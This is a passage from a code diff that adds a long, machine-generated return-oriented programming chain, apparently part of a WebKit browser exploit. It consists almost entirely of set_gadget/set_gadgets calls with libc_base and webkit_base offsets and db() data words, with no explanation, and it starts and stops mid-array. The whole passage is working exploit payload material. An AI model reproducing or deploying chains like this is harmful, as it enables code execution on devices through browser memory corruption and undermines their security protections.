+webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+418136, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+418152, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+418296, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+418328, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+418264, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+418440, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+418432, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+418456, +ropchain+421312, +libc_base+713278, +ropchain+418512, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+418600, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+418616, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+418776, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+418808, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+418760, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+418792, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+418888, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+418904, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+419000, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+418984, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+419096, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+419184, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+419200, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+419344, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+419312, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+419328, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+419440, +webkit_base+4687784, +libc_base+768796 +]); +db([176, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([176, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+419584, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+419600, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+419568, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+419736, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+419824, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+419840, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+420000, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+420032, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+419984, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+420016, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+420128, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+420112, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+420224, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+420312, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+420328, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+420472, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+420440, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+420456, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+420576, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+420720, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+420736, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+420704, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+420864, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+420880, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+420848, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +libc_base+350006, +libc_base+232261, +libc_base+713278, +ropchain+421056, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+421072, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+421040, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+421216, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+421232, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+421184, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+350006, +libc_base+232261, +libc_base+713278, +ropchain+421304, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+863109, +libc_base+713278, +ropchain+421432, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+421448, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+421416, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+421576, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+421608, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+421592, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+421720, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+421712, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+421736, +ropchain+423152, +libc_base+713278, +ropchain+421792, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+421880, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+421896, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+422040, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+422008, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+422024, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+422136, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+422224, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+422240, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+422400, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+422432, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+422384, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+422416, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+422528, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+422512, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+422624, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+422712, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+422728, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+422872, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+422840, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+422856, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+422976, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+423064, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+713278, +ropchain+423128, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+489696, +ropchain+423168, +libc_base+489696, +ropchain+423184, +libc_base+489696, +ropchain+417992, +libc_base+713278, +ropchain+423240, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+423328, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+423344, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+423472, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+423488, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+423456, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+423592, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+423608, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+423728, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+423712, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+423816, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+423800, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+423920, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+423936, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+424056, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+424040, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +getpid_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+425384, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+425456, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+425520, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([3392, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+425664, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+591856, +libc_base+863109, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+425808, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+425824, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+425792, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+425936, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+425920, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +libc_base+713278, +ropchain+426072, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+426088, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+426056, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+426216, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+426248, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+426232, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+426360, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+426352, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+426376, +ropchain+426840, +libc_base+388400, +libc_base+713278, +ropchain+426432, +webkit_base+4687784, +libc_base+768796 +]); +db([179, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([179, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+426576, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+426592, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+426560, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+426696, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+426712, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+426832, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+426816, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+426936, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+426992, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+427056, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+427144, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+427160, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+427320, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+427352, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+427304, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+427336, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+427432, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+427448, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+427544, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+427528, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+427640, +webkit_base+4687784, +libc_base+768796 +]); +db([16, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([16, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+427784, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+427800, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+427768, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+427976, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+427992, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+427960, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+428120, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+428152, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+428136, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+428264, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+428256, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+428280, +ropchain+428296, +libc_base+489696, +ropchain+428312, +libc_base+489696, +ropchain+429280, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([2, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([28, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+428520, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+601152, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+428608, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+428696, +webkit_base+4687784, 